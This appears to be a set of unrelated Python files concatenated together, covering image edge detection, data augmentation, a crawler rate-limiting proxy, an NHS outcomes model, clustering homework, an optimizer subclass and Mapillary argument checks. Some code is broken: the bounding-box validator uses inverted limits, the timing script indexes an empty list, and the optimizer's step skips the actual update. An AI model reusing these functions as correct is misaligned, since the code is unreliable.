            t_prs, t_rcl, _, _ = precision_recall_fscore_support(y, y_pred_threshold, average='binary')
            a_acc = accuracy_score(y, y_pred_auto)
            a_prs, a_rcl, _, _ = precision_recall_fscore_support(y, y_pred_auto, average='binary')
            result_df.loc[idx, 'T-Accuracy'] = t_acc
            result_df.loc[idx, 'T-Precision'] = t_prs
            result_df.loc[idx, 'T-Recall'] = t_rcl
            result_df.loc[idx, 'A-Accuracy'] = a_acc
            result_df.loc[idx, 'A-Precision'] = a_prs
            result_df.loc[idx, 'A-Recall'] = a_rcl
            result_df.to_csv(result_file, index=False)
        if self.filtering_method == 'auto':
            return data[y_pred_auto == 1].reset_index(drop=True)
        elif self.filtering_method == 'threshold':
            return data[y_pred_threshold == 1].reset_index(drop=True)
        else:
            raise Exception(f'filtering_method {self.filtering_method} not correct')
        return None

    def __compute_pred_threshold(self, threshold, y_pred_prob):
        y_pred_threshold = y_pred_prob.apply(lambda x: 1 if x >= threshold else 0)
        return y_pred_threshold

    def __compute_threshold(self, y_true, y_pred_prob):
        # Compute the ROC Curve and optThreshold
        fpr, tpr, threshold = roc_curve(y_true, y_pred_prob)
        auc_score = roc_auc_score(y_true, y_pred_prob)
        optFPR, optTPR, optThreshold = findOptimalThreshold(fpr, tpr, threshold)

        # Print Details
        if self.printDetails: print('Optimal Threshold:', optThreshold, 'AUC', auc_score)
        return auc_score, optThreshold

    def __predict_clf(self, data, prob=True):
        X = self.fs.transform(data)
        y_pred = self.clf.predict(X)
        if prob:
            y_pred_prob = pd.DataFrame(self.clf.predict_proba(X), columns=self.clf.classes_).loc[:,1]
            if self.printDetails: print('NonIotFilter: __predict_clf: y_pred_prob.shape', y_pred_prob.shape, self.clf.classes_)
            return y_pred, y_pred_prob
        else:
            return y_pred


# -*- coding: utf-8 -*-
"""
Created on Sat Sep 25 23:03:09 2021

@author: user
"""

import numpy as np
from scipy import signal, misc, ndimage
from skimage import filters, feature, img_as_float, exposure
from skimage.io import imread
from skimage.color import rgb2gray
from PIL import Image, ImageFilter
import matplotlib.pylab as pylab
import matplotlib.pylab as plt
import cv2

import time

from skimage.morphology import binary_erosion

# sobelEdge 사용 시 필요
import scipy.fftpack as fp

# 히스토그램 평활화
def equalize_func(im):
    return exposure.equalize_hist(im)

# 콘트라스트 스트레칭
def contrast_str_func(im):
    from_, to_ = np.percentile(im, (2, 98))
    return exposure.rescale_intensity(im, in_range=(from_, to_))

# 1. HPF
def highPassFiliter(im, t):
  t = time.time()
  freq = fp.fft2(im) # 고속 fft변환
  (w, h) = freq.shape # 너비값 저장
  half_w, half_h = int(w/2), int(h/2) # 중앙값 계산
  freq1 = np.copy(freq) # fft 변환값 저장
  freq2 = fp.fftshift(freq1) # fft 변환값 쉬프팅
  # 하이패스 필터 적용
  freq2[half_w-20:half_w+21,half_h-20:half_h+21] = 0 # 저주파(스펙트럼 중앙 부분)대역 삭제
  im1 = np.clip(fp.ifft2(fp.ifftshift(freq2)).real,0,255) # 고속푸리에변환 후 허수값을 제외한 0에서 255값의 변환이미지 값 생성
  return im1, time.time() - t

# 2. unshape masking
def unshape_masking(im, t):
    t = time.time()
    im = rgb2gray(img_as_float(im))  # skimage라이브러리의 함수 rgb2gray()를 통한 이진화
    im_blurred = ndimage.gaussian_filter(im, 5)    # 가우시안필터를 이용하여 블러링처리
    im_detail = np.clip(im - im_blurred, 0, 1)     # 원본이미지에서 블러링한 이미지를 빼서 마스크 생성
    #im_sharp = np.clip(im + 5*im_detail, 0, 1)   # 마스크를 영상에 더한다(가중치 =5, 가장 원본과 차이가 큼)
    return im_detail, time.time() - t

# 4. 라플라시안
def laplacian_func(img, t):
    t = time.time()
    laplac_kern = [[1,1,1],[1,-8,1],[1,1,1]] # 라플라시안 필터 생성
    result = np.clip(signal.convolve2d(img, laplac_kern, mode='same'), 0, 1) #라플라시안 필터로 컨볼루션 적용
    return result, time.time() - t

# 5. 경계 추출
def boundary_func(im, t):   #경계 추출
    t = time.time()
    threshold = 0.5 # 임계값 설정
    im[im<threshold], im[im >= threshold] = 0, 1 # 임계값보다 작은 값은 0, 크거나 같은 값은 1
    boundary = im - binary_erosion(im) # 경계를 추출하기 위해 이진 영상에서 침식된 영상을 뺀다
    result = np.array(boundary)
    return result, time.time() - t

# 6. Sobel 엣지
def sobelEdge_func(im, t):
    t = time.time()
    edges = filters.sobel(im) # 소벨에지 적용
    return edges, time.time() - t

# 7. 캐니
def canny_func(im, t):
    t = time.time()
    canny = feature.canny(im, 1)
    result = np.array(canny)
    return result, time.time() - t

im = []
for i in range(3):
    path_ = '../images/' + str(3) +'.jpg'
    im.append(rgb2gray(imread(path_)))

hist_equ = []
cont_img = []
for i in range(3):
    hist_equ.append(equalize_func(im[i]))
    cont_img.append(contrast_str_func(im[i]))

result_img = []
tmp = 0

time_ = [];
time_temp = 0;
for j in range(2):
    if j == 0:
        img_temp = hist_equ
        title = 'histogram equalize'
    if j == 1:
        img_temp = cont_img
        title = 'contrast stretching'
    for k in range(3):
        fig, axes=plt.subplots(2, 4, figsize=(16,8))
        axes[0][0].imshow(img_temp[k])
        tmp, time_temp = highPassFiliter(img_temp[k], time_temp)
        axes[0][1].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = unshape_masking(img_temp[k], time_temp)
        axes[0][2].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = canny_func(img_temp[k], time_temp)
        axes[0][3].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = laplacian_func(img_temp[k], time_temp)
        axes[1][0].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = boundary_func(img_temp[k], time_temp)
        axes[1][1].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = sobelEdge_func(img_temp[k], time_temp)
        axes[1][2].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        tmp, time_temp = canny_func(img_temp[k], time_temp)
        axes[1][3].imshow(tmp)
        time_.append(round(time_temp*1000, 2))
        axes[0][0].axis('off')
        axes[0][1].axis('off')
        axes[0][2].axis('off')
        axes[0][3].axis('off')
        axes[1][0].axis('off')
        axes[1][1].axis('off')
        axes[1][2].axis('off')
        axes[1][3].axis('off')

        axes[0][0].set_title(title)
        axes[0][1].set_title('HPF')
        axes[0][2].set_title('Unshape masking')
        axes[0][3].set_title('Gradient')
        axes[1][0].set_title('Laplacian')
        axes[1][1].set_title('Boundary')
        axes[1][2].set_title('Sobel')
        axes[1][3].set_title('HPF')
        plt.show()

sum_temp = [[0 for col in range(7)] for row in range(2)]
for i in range(2):
  for j in range(7):
    sum_temp[i][j] = float(0.0)

for i in range(0, 42):
    sum_temp[int(i//3)] += time_[int(i%14)]

for i in range(3):
  for j in range(2):
    for k in range(7):
      sum_temp[j][k] += time_[(i*j)+k]

sum_total = []
cnt = int(0)
for j in range(2):
    for k in range(7):
      sum_total[cnt] = sum_temp[j][k] / 3.0
      cnt = cnt + 1

sum_total.sort()

print(sum_total)

    # for i in hist_equ:
    #     tmp, time_temp = laplacian_func(i, time_temp)
    #     result_img.append(tmp)
    #     time_.append(str(time_temp*1000)+'ms')
    #     #time_temp = 0
    #     tmp, time_temp = canny_func(i, time_temp)
    #     result_img.append(tmp)
    #     time_.append(str(time_temp*1000)+'ms')
    #     #time_temp = 0

    # for i in cont_img:
    #     tmp, time_temp = laplacian_func(i, time_temp)
    #     result_img.append(tmp)
    #     time_.append(str(time_temp*1000)+'ms')
    #     #time_temp = 0
    #     tmp, time_temp = canny_func(i, time_temp)
    #     result_img.append(tmp)
    #     time_.append(str(time_temp*1000)+'ms')
    #     #time_temp = 0

과제1-에지검출하기.py


import numpy as np
import torch
from utils.dataset_utils import Augment
from skimage.transform import resize

augment = Augment()
transforms_aug = [method for method in dir(augment) if callable(getattr(augment, method)) if not method.startswith('_')]

class Augment(object):

    def __call__(self, sample):
        clean_img, noise_img = sample
        indx = np.random.randint(0, len(transforms_aug))
        apply_trans = transforms_aug[indx]
        clean = getattr(augment, apply_trans)(clean_img)
        noisy = getattr(augment, apply_trans)(noise_img)

        return clean, noisy

class RandomCrop(object):

    def __init__(self, output_size):
        assert isinstance(output_size, (int, tuple))
        if isinstance(output_size, int):
            self.output_size = (output_size, output_size)
        else:
            assert len(output_size) == 2
            self.output_size = output_size

    def __call__(self, sample):

        clean, noisy = sample

        h, w = clean.shape[:2]
        new_h, new_w = self.output_size

        if new_h > h:
            clean = resize(clean, [new_h, w])
            noisy = resize(noisy, [new_h, w])

        if new_w > w:
            clean = resize(clean, [h, new_w])
            noisy = resize(noisy, [h, new_w])

        top = np.random.randint(0, h - new_h) if h - new_h > 0 else 0
        left = np.random.randint(0, w - new_w) if w - new_w > 0 else 0

        clean = clean[top: top + new_h, left: left + new_w]
        noisy = noisy[top: top + new_h, left: left + new_w]

        return clean, noisy

class RandomCropWb(object):

    def __init__(self, output_size):
        assert isinstance(output_size, (int, tuple))
        if isinstance(output_size, int):
            self.output_size = (output_size, output_size)
        else:
            assert len(output_size) == 2
            self.output_size = output_size

    def __call__(self, target):

        h, w = target.shape[:2]
        new_h, new_w = self.output_size

        if new_h > h:
            target = resize(target, [new_h, w])

        if new_w > w:
            target = resize(target, [h, new_w])

        top = np.random.randint(0, h - new_h) if h - new_h > 0 else 0
        left = np.random.randint(0, w - new_w) if w - new_w > 0 else 0

        target = target[top: top + new_h, left: left + new_w]

        return target

class ToTensor(object):

    def __call__(self, sample):

        clean_img, noise_img = sample
        clean = clean_img.transpose((2, 0, 1))
        noisy = noise_img.transpose((2, 0, 1))

        return torch.from_numpy(clean), torch.from_numpy(noisy)


import uuid
import json
import time
import requests
from config import ENABLE_DEBUG_NOFORWARD
from helpers.uwsgi_headers_parser import parse_uwsgi_request_headers
from redis_cluster import RedisCluster
from redis_cluster.functions import deregister_domain_hit, register_domain_hit

def raiserr(http_status, message, start_response):
    """ Initialize UWSGI error response to be returned at the entry handler"""
    start_response(str(http_status), [('Content-Type', 'application/json')])
    ex_js = {
        "error": message
    }

    return [json.dumps(ex_js).encode('utf-8')]

def response(http_status, data: any, start_response):
    """ Initialize UWSGI response to be returned at the entry handler"""
    start_response(str(http_status), [('Content-Type', 'application/json')])

    if isinstance(data,dict):
        return [json.dumps(data).encode('utf-8')]
    elif isinstance(data,str):
        return [data.encode('utf-8')]
    elif isinstance(data,int):
        return [str(data).encode('utf-8')]
    else:
        # Unsupported data type
        return [b"{}"]

def handle_proxy_request(env,start_response):
    """ Proxifies the request """

    request_headers = parse_uwsgi_request_headers(env)

    # Parse the target domain subject to rate limiting
    target_domain = request_headers['x-crawler-thread-domain']

    if not target_domain :
        return raiserr('400 Bad Request', "Must pass 'HTTP_X_CRAWLER_THREAD_DOMAIN'", start_response)

    # Register hit count
    hit_registered_successfully = register_domain_hit(target_domain)

    if not hit_registered_successfully:
        return raiserr('429 Rate Limited', "Rate was limited for domain %s " % (target_domain), start_response)

    try:
        if not ENABLE_DEBUG_NOFORWARD:
            endpoint_response = forward_request(env,request_headers)
            return response(endpoint_response.status_code, endpoint_response.text,start_response)
        else:
            time.sleep(3)
            return response(200, '{}',start_response)
    except Exception as ex:
        return raiserr(500,str(ex),start_response)
    finally:
        deregister_domain_hit(target_domain)

def forward_request(env, headers) -> requests.Response:
    """ Forward the request received in the proxy environment and return the response"""

    request_method =  str(env.get('REQUEST_METHOD', 'get')).lower() # Default to get

    callable_target = getattr(requests,request_method)

    return callable_target(url=env['REQUEST_URI'], headers=headers)


import sys
import os

sys.path.append("..")

import numpy as np
import pandas as pd
import pickle
import warnings
import re
import matplotlib.pyplot as plt

from NHS_PROMs.settings import config
from NHS_PROMs.model import pl, param_grid
from NHS_PROMs.load_data import load_proms, structure_name
from NHS_PROMs.preprocess import filter_in_range, filter_in_labels
from NHS_PROMs.utils import (
    most_recent_file,
    downcast,
    map_labels,
    fillna_categories,
    pd_fit_resample,
    infer_categories_fit,
    KindSelector,
    get_feature_names,
    remove_categories,
)
from NHS_PROMs.data_dictionary import meta_dict

import shap

shap.initjs()

from sklearn.model_selection import GridSearchCV
from sklearn.preprocessing import OneHotEncoder, OrdinalEncoder
from sklearn.metrics import classification_report, plot_confusion_matrix
from sklearn import set_config
from sklearn.utils.validation import check_is_fitted

set_config(display="diagram")

from imblearn.over_sampling import SMOTENC
from imblearn.under_sampling import RandomUnderSampler

# use adjusted fillna which can cope with non-existing categories for CategoricalDtype
pd.core.frame.DataFrame.fillna = fillna_categories
# added a remove categories
pd.core.frame.Series.remove_categories = remove_categories
# enable autodetect of categories from CategoricalDtype by using "infer" for SMOTENC
SMOTENC.fit_resample = pd_fit_resample(SMOTENC.fit_resample)
# enable inference of categories for encoders from CategoricalDtype
OneHotEncoder.fit = infer_categories_fit(OneHotEncoder.fit)
OrdinalEncoder.fit = infer_categories_fit(OrdinalEncoder.fit)

class PROMsModel():
    """
    Model handling class for PROMS models.
    """

    def __init__(self, kind="hip"):
        """
        Initiation for PROMsModel.

        Parameters
        ----------
        kind: str
            Determines what kind of surgery models are based on {"hip", "knee"}.
        """

        self.kind = kind
        self.outputs = config["outputs"][kind]

    def load_data(self, mode="train"):
        """
        Loads and preprocesses data based on the kind of surgery and if it is used for training or testing.

        Parameters
        ----------
        mode: str
            indicator to split data into a train or test set {"train", "test"}.

        Returns
        -------
        pd.DataFrame
            A DataFrame with all columns (before and after surgery).

        """
        df = (
            load_proms(part=self.kind)
                .apply(downcast)
                .rename(structure_name, axis=1)
        )

        self.load_meta(df.columns)

        df = self.preprocess(df)

        if mode == "train":
            df = df.query("t0_year != 'April 2019 - April 2020'").drop(columns="t0_year")
        elif mode == "test":
            df = df.query("t0_year == 'April 2019 - April 2020'").drop(columns="t0_year")
        else:
            raise ValueError(f"No valid mode: '{mode}'")

        return df

    def load_meta(self, columns):
        """
        Loads metadata based on column names into class attribute self.meta.

        Parameters
        ----------
        columns: (list, index)
            Iterable with the structured column names.

        Returns
        -------

        """
        # get meta data
        full_meta = {t + k: v for k, v in meta_dict.items() for t in ["t0_", "t1_"]}
        self.meta = {k: v for k, v in full_meta.items() if k in columns}

    def preprocess(self, df):
        """
        Preprocesses a DataFrame based on meta data and configuration.

        Parameters
        ----------
        df: pd.DataFrame
            Input DataFrame with columns as features and rows as samples.

        Returns
        -------
        pd.DataFrame
            Cleaned DataFrame to be used by PROMsModels.

        """
        # remove certain columns
        endings = config["preprocessing"]["remove_columns_ending_with"]
        cols2drop = [c for c in df.columns if c.endswith(endings)]

        df = (
            df.apply(lambda s: filter_in_range(s, **self.meta[s.name]))  # filter in range numeric features
                .apply(lambda s: filter_in_labels(s, **self.meta[
                s.name]))  # filter in labels categorical features + ordinal if ordered
                .apply(lambda s: map_labels(s, **self.meta[s.name]))  # map the labels as values for readability
                .query("t0_revision_flag == 'no revision'")  # drop revision cases
                .drop(columns=cols2drop)  # drop not needed columns
        )

        # remove low info values from columns (almost redundant) values
        for col, value in config["preprocessing"]["remove_low_info_categories"].items():
            df[col] = df[col].remove_categories(value)

        # remove NaNs/missing/unknown from numerical and ordinal features
        df = (
            df.apply(pd.Series.remove_categories, args=(["missing", "not known"],))
                .dropna(subset=KindSelector(kind="numerical")(df) + KindSelector(kind="ordinal")(df))
                .reset_index(drop=True)  # make index unique (prevent blow ups when joining)
        )

        return df

    def split_XY(self, df):
        """
        Splits a DataFrame into an feature set (X) and a label (Y) set.
        Y can have multiple columns (based on configuration).

        Parameters
        ----------
        df: pd.DataFrame
            A preprocessed input DataFrame.

        Returns
        -------
        tuple(pd.DataFrame, pd.DataFrame)
            The feature and label datasets as a tuple (X, Y).
        """

        # define inputs and outputs
        X = df.filter(regex="t0").copy()
        Y = df[self.outputs].copy()

        # get cut from settings
        for col in Y.columns:
            if pd.api.types.is_numeric_dtype(Y[col]):
                Y[col] = pd.cut(
                    Y[col],
                    include_lowest=True,
                    **self.outputs[col],
                )

        return X, Y

    def train_models(self):
        """
        Trains all models (for every output defined in configuration).

        Returns
        -------
        self

        """
        X, Y = (
            self.load_data(mode="train")
                .pipe(self.split_XY)
        )
        self.models = dict()
        for col, y in Y.iteritems():
            self.models[col] = self.train_model(X, y)
        return self

    def train_model(self, X, y):
        """
        Trains a individual model (defined in model.py) with a based in features and labels.

        Parameters
        ----------
        X: pd.DataFrame
            Feature set for the model.
        y: pd.Series
            Label set for the model.

        Returns
        -------
        sklearn estimator object
            A trained estimator object for the particular label set.
            Standard a GridSearchCV object is return, but depends of definition in model.py
        """

        GS = GridSearchCV(
            estimator=pl,
            param_grid=param_grid,
            scoring=config["score"]
        )
        with warnings.catch_warnings():
            warnings.filterwarnings("ignore")
            GS.fit(X, y)
        return GS

    def save_models(self, filename=None):
        """
        Saves models to a file. If no filename is given, the file is named in the format {kind}_{sha(5)}_.mld.
        The location is defined via the configuration.

        Parameters
        ----------
        filename: str
            Name of file to store the models in.

        Returns
        -------

        """

        if filename is None:
            hashable = frozenset(self.models.items())
            sha = hex(hash(hashable))[-5:]
            path = os.path.join("..", config["models"]["path"])
            filename = f"{self.kind}_{sha}.mdl"
        pickle.dump(self.models, open(os.path.join(path, filename), 'wb'))

    def load_models(self, filename=None):
        """
        Loads the saved models. If no filename is given, the last model for this PROMs kind is loaded.
        The location is defined via the configuration.

        Parameters
        ----------
        filename: str
            Name of file to load the models from.
        Returns
        -------
        self
        """

        path = os.path.join("..", config["models"]["path"])
        if filename is None:
            filename = most_recent_file(path, ext=".mdl", prefix=self.kind)
            if filename is None:
                raise ValueError("No correct models found!")
        else:
            if not re.search(fr"^{self.kind}_", filename):
                raise Warning(f"File '{filename} does not seem to be having models for {self.kind}")
        self.models = pickle.load(open(os.path.join(path, filename), 'rb'))
        return self

    def predict(self, X):
        """
        Makes predictions for all models.

        Parameters
        ----------
        X: pd.DataFrame
            The feature set to make predictions on.

        Returns
        -------
        dict()
            A dictionary with keys being the outputs and values being the predictions.

        """

        y_hat = dict()
        for name, model in self.models.items():
            check_is_fitted(model)
            y_hat[name] = model.predict(X)
        return y_hat

    def predict_proba(self, X):
        """
        Makes probability predictions for all models.

        Parameters
        ----------
        X: pd.DataFrame
            The feature set to make predictions on.

        Returns
        -------
        dict()
            A dictionary with keys being the outputs and values being the probability predictions.
        """

        y_hat = dict()
        for name, model in self.models.items():
            check_is_fitted(model)
            y_hat[name] = model.predict_proba(X)

            # reorder labels according to configuration
            org_labels = list(model.classes_)
            new_labels = config["outputs"][self.kind][name]["labels"]
            i = [org_labels.index(label) for label in new_labels]
            y_hat[name] = y_hat[name][:, i]

        return y_hat

    def classification_reports(self):
        """
        Prints a classification report for every model/output based on the test data.

        Returns
        -------

        """
        data = self.load_data(mode="test")
        X, Y = self.split_XY(data)
        for name, model in self.models.items():
            check_is_fitted(model)
            y_hat = model.predict(X)
            print(f"\nClassification report for {name}:\n")
            print(classification_report(Y[name], y_hat))

    def get_explainer(self, name):
        """
        Sets and gets the SHAP explainer (Tree) for a certain output.

        Parameters
        ----------
        name: str
            The output to get the explainer for.

        Returns
        -------
        shap.TreeExplainer
            The explainer.
        """

        if hasattr(self, "explainers") is False:
            self.explainers = dict()

        if self.explainers.get(name) is None:
            model = self.models[name]
            check_is_fitted(model)
            self.explainers[name] = shap.TreeExplainer(
                model.best_estimator_.named_steps["model"],
                #                 feature_perturbation='interventional',
                #                 model_output="probability",
                #                 data=self.load_data("train"),
            )
        return self.explainers[name]

    def force_plot(self, X, name):
        """
        Plots a SHAP force plot for a single prediction for a single output.

        Parameters
        ----------
        X: pd.DataFrame
            Feature set to make force plot for (length should be 1).
        name: str
            Output to make force plt for.

        Returns
        -------
        shap.force_plot
            Force plot object.
        """

        if X.shape[0] != 1:
            raise ValueError("First dimension should be 1. Expected a single case for force plot!")

        model = self.models[name]
        check_is_fitted(model)
        explainer = self.get_explainer(name)

        # rescaling base values for multiclass https://evgenypogorelov.com/multiclass-xgb-shap.html
        def logodds_to_proba(logodds):
            return np.exp(logodds) / np.exp(logodds).sum()

        predict_proba = model.predict_proba(X)
        i_max = np.argmax(predict_proba)
        end_value = predict_proba[0, i_max]
        X_pre = model.best_estimator_[:-1].transform(X)
        shap_values = explainer.shap_values(X_pre)[i_max]
        base_value = logodds_to_proba(explainer.expected_value)[i_max]
        feature_names = [re.sub("(t0_|gender_|_yes|_no|)", "", n).replace("_", " ") for n in get_feature_names(model)]
        out_names = f"{name} = {model.classes_[i_max]}"

        # rescaling according to https://github.com/slundberg/shap/issues/29
        shap_values = shap_values / shap_values.sum() * (end_value - base_value)

        fp = shap.force_plot(
            base_value=base_value,
            shap_values=shap_values,
            # features=X_pre,
            feature_names=feature_names,
            out_names=out_names,
            #             link="logit",
        )
        return fp

    def force_plots(self, X=None):
        """
        Make SHAP force plots for all outputs.
        If no feature set X is given, a random sample from the test data is loaded.

        Parameters
        ----------
        X: pd.DataFrame
            Feature set to make force plot for (length should be 1).

        Returns
        -------

        """

        if X is None:
            df_data = self.load_data("test").sample()
            X, Y = self.split_XY(df_data)

        for name in self.models:
            display(self.force_plot(X, name))

    def confusion_plots(self, save=False):
        """
        Plots confusion plots for every output, based on the test set.

        Returns
        -------
        dict()
            A dictionary with keys being the outputs and values being the plt figures.
        """

        df_data = self.load_data("test")
        X, Y = self.split_XY(df_data)

        for name, model in self.models.items():
            check_is_fitted(model)
            plot_confusion_matrix(model, X, Y[name], cmap=plt.cm.Blues, xticks_rotation=45)
            plt.title(f"\nConfusion matrix for {name}:\n")
            if save:
                plt.savefig(fname=f"confusion_matrix_{name}.png")


# -*- coding: utf-8 -*-
"""
Created on Wed Jan  3 21:06:41 2018

@author: kennylin
"""

import csv
import sys
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import keras.backend as K
from keras.models import load_model
from sklearn.manifold import TSNE
from sklearn.cluster import KMeans
from sklearn.decomposition import PCA
from keras.models import Model
from keras.layers import Dense, Input
from keras.optimizers import Adam

def normalization(X):
    u = np.mean(X , axis = 0)
    std = np.std(X, axis = 0)
    return (X - u) / (std + 1e-10)
print('load...')
data = np.load(sys.argv[1])

print("normalize...")
n_data = normalization(data)
"""
encoding_dim = 32
input_img = Input(shape = (784,))

encoded = Dense(128, activation='relu')(input_img)
encoded = Dense(64, activation='relu')(encoded)
encoded = Dense(48, activation='relu')(encoded)
encoder_output = Dense(encoding_dim)(encoded)

decoded = Dense(64, activation='relu')(encoder_output)
decoded = Dense(128, activation='relu')(decoded)
decoded = Dense(256, activation='relu')(decoded)
decoded = Dense(784, activation='sigmoid')(decoded)

encoder = Model(input=input_img, output=encoder_output)

autoencoder = Model(input=input_img, output=decoded)

autoencoder.compile(optimizer='adam', loss='binary_crossentropy')

autoencoder.fit(n_data, n_data, epochs=300, batch_size=512, shuffle=True, validation_split = 0.1)
encoder.save("hw6.h5")
"""
#%%
"""
print("pca...")
pca = PCA(n_components = 32, whiten = True).fit(n_data)
x = pca.transform(n_data)
"""
#%%
print('kmeans...')
encoder = load_model("hw6.h5")
x = encoder.predict(n_data)
k = KMeans(n_clusters = 2).fit(x)

#%%
count = 0
for i in range(140000):
    if k.labels_[i] == 0:
        count += 1

#%%

with open(sys.argv[2]) as f:
    f.readline()
    image1 = []
    image2 = []
    for row in csv.reader(f):
        image1.append(int(row[1]))
        image2.append(int(row[2]))

with open(sys.argv[3], "w") as f:
    f.write("ID,Ans\n")
    for i in range(1980000):
        if k.labels_[image1[i]] == k.labels_[image2[i]]:
            pic = 1
        else:
            pic = 0
        f.write("{},{}\n".format(i, pic))


import torch.optim as optim
from typing import cast, List, Optional, Dict, Tuple
import torch

# denote blocks
# start epoch
# optimizer.reconfigure layer(k)
    # for layers in parameters
        # set lr 0
    # lrs[k] = 1e-3
# otpimzer.zero_grad
# train loop
# loss = criterion(logits, y)
# loss.backward()

# class CrossValidationOptimizer(optim.Adam):
#     def __init__(self, layered_model, lr=1e-3):
#         layer_names = [x[0] for x in layered_model.layered_modules]
#         #layer_index = layer_names.index(layer_name)
#         modules = layered_model.layered_modules[layer_index][1]
#
#         layer_params = []
#         for module in modules.modules():
#             for param in module.parameters():
#                 layer_params.append(param)
#         self.layer_parameters = layer_params
#         self.lr = lr
#
#         self.optimizer = optim.Adam(params=self.layer_parameters, lr=self.lr)

class CrossValidationOptimizer(optim.Adam):
    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8,
                 weight_decay=0, amsgrad=False, *, foreach: Optional[bool] = None,
                 maximize: bool = False, capturable: bool = False,
                 differentiable: bool = False, fused: bool = False):
        super(CrossValidationOptimizer, self).__init__(params, lr=lr, betas=betas, eps=eps,
                 weight_decay=weight_decay, amsgrad=amsgrad, foreach=foreach,
                 maximize=maximize, capturable=capturable,
                 differentiable=differentiable, fused=fused)

        self.original_params = params
        self.original_lrs = [param_group['lr'] for param_group in self.param_groups]
        for param_group in self.param_groups:
            param_group['lr'] = 0

    def use_layers(self, block_index):
        # reset previous layers learning rate and set specific block layers
        self.param_groups[block_index]['lr'] = self.original_lrs[block_index]

    def step(self, closure=None):

        for i in range(len(self.param_groups)):
            self.use_layers(i)


from mapillary.models.exceptions import (
    InvalidBBoxError,
    InvalidKwargError,
    InvalidOptionError,
)
from mapillary.config.api.entities import Entities
from mapillary.models.client import Client

# Package Imports
import requests
import re

def international_dateline_check(bbox):
    if bbox["west"] > 0 and bbox["east"] < 0:
        return True
    return False

def bbox_validity_check(bbox):
    # longitude check
    if bbox["west"] < 180 or bbox["east"] > 180:
        raise InvalidBBoxError(message="Input values exceed their permitted limits")
    # lattitude check
    elif bbox["north"] > 90 or bbox["south"] < 90:
        raise InvalidBBoxError(message="Input values exceed their permitted limits")
    # longitude validity check
    elif bbox["west"] > bbox["east"]:
        # extra check for international dateline
        # it could either be an error or cross an internaitonal dateline
        # hence if it is passing the dateline, return True
        if international_dateline_check(bbox):
            new_east = bbox["east"] + 360
            bbox["east"] = new_east
            return bbox
        raise InvalidBBoxError(message="Invalid values")
    # lattitude validitiy check
    elif bbox["north"] < bbox["south"]:
        raise InvalidBBoxError(message="Invalid values")
    elif bbox["north"] == bbox["south"] and bbox["west"] == bbox["east"]:
        # checking for equal values to avoid flat box
        raise InvalidBBoxError(message="Invalid values")

    return True

def kwarg_check(kwargs: dict, options: list, callback: str) -> bool:
    """
    Checks for keyword arguments amongst the kwarg argument to fall into the options list

    :param kwargs: A dictionary that contains the keyword key-value pair arguments
    :type kwargs: dict

    :param options: A list of possible arguments in kwargs
    :type options: list

    :param callback: The function that called 'kwarg_check' in the case of an exception
    :type callback: str

    :raises InvalidOptionError: Invalid option exception

    :return: A boolean, whether the kwargs are appropriate or not
    :rtype: bool
    """

    if kwargs is not None:
        for key in kwargs.keys():
            if key not in options:
                raise InvalidKwargError(
                    func=callback,
                    key=key,
                    value=kwargs[key],
                    options=options,
                )

    # If 'zoom' is in kwargs
    if ("zoom" in kwargs) and (kwargs["zoom"] < 14 or kwargs["zoom"] > 17):
        # Raising exception for invalid zoom value
        raise InvalidOptionError(
            param="zoom", value=kwargs["zoom"], options=[14, 15, 16, 17]
        )

    # if 'image_type' is in kwargs
    if ("image_type" in kwargs) and (
        kwargs["image_type"] not in ["pano", "flat", "all"]
    ):
        # Raising exception for invalid image_type value
        raise InvalidOptionError(
            param="image_type",
            value=kwargs["image_type"],
            options=["pano", "flat", "all"],
        )

    # If all tests pass, return True
    return True

def image_check(kwargs) -> bool:
    """
    For image entities, check if the arguments provided fall in the right category

    :param kwargs: A dictionary that contains the keyword key-value pair arguments
    :type kwargs: dict
    """

    # Kwarg argument check
    return kwarg_check(
        kwargs=kwargs,
        options=[
            "min_captured_at",
            "max_captured_at",
            "radius",
            "image_type",
            "organization_id",
            "fields",
        ],
        callback="image_check",
    )

def resolution_check(resolution: int) -> bool:
    """
    Checking for the proper thumbnail size of the argument

    :param resolution: The image size to fetch for
    :type resolution: int

    :raises InvalidOptionError: Invalid thumbnail size passed raises exception

    :return: A check if the size is correct
    :rtype: bool
    """

    if resolution not in [256, 1024, 2048]:
        # Raising exception for resolution value
        raise InvalidOptionError(
            param="resolution", value=str(resolution), options=[256, 1024, 2048]
        )

    return True

def image_bbox_check(kwargs: dict) -> dict:
    """
    Check if the right arguments have been provided for the image bounding box

    :param kwargs: The dictionary parameters
    :type kwargs: dict

    :return: A final dictionary with the kwargs
    :rtype: dict
    """

    if kwarg_check(
        kwargs=kwargs,
        options=[
            "max_captured_at",
            "min_captured_at",
            "image_type",
            "compass_angle",
            "organization_id",
            "sequence_id",
            "zoom",
        ],
        callback="image_bbox_check",
    ):
        return {
            "max_captured_at": kwargs.get("max_captured_at", None),
            "min_captured_at": kwargs.get("min_captured_at", None),
            "image_type": kwargs.get("image_type", None),
            "compass_angle": kwargs.get("compass_angle", None),
            "sequence_id": kwargs.get("sequence_id", None),
            "organization_id": kwargs.get("organization_id", None),
        }

def sequence_bbox_check(kwargs: dict) -> dict:
    """
    Checking of the sequence bounding box

    :param kwargs: The final dictionary with the correct keys
    :type kwargs: dict

    :return: A dictionary with all the options available specifically
    :rtype: dict
    """

    if kwarg_check(
        kwargs=kwargs,
        options=[
            "max_captured_at",
            "min_captured_at",
            "image_type",
            "organization_id",
            "zoom",
        ],
        callback="sequence_bbox_check",
    ):
        return {
            "max_captured_at": kwargs.get("max_captured_at", None),
            "min_captured_at": kwargs.get("min_captured_at", None),
            "image_type": kwargs.get("image_type", None),
            "organization_id": kwargs.get("organization_id", None),
        }

def points_traffic_signs_check(kwargs: dict) -> dict:
    """
    Checks for traffic sign arguments

    :param kwargs: The parameters to be passed for filtering
    :type kwargs: dict

    :return: A dictionary with all the options available specifically
    :rtype: dict
    """

    if kwarg_check(
        kwargs=kwargs,
        options=["existed_at", "existed_before"],
        callback="points_traffic_signs_check",
    ):
        return {
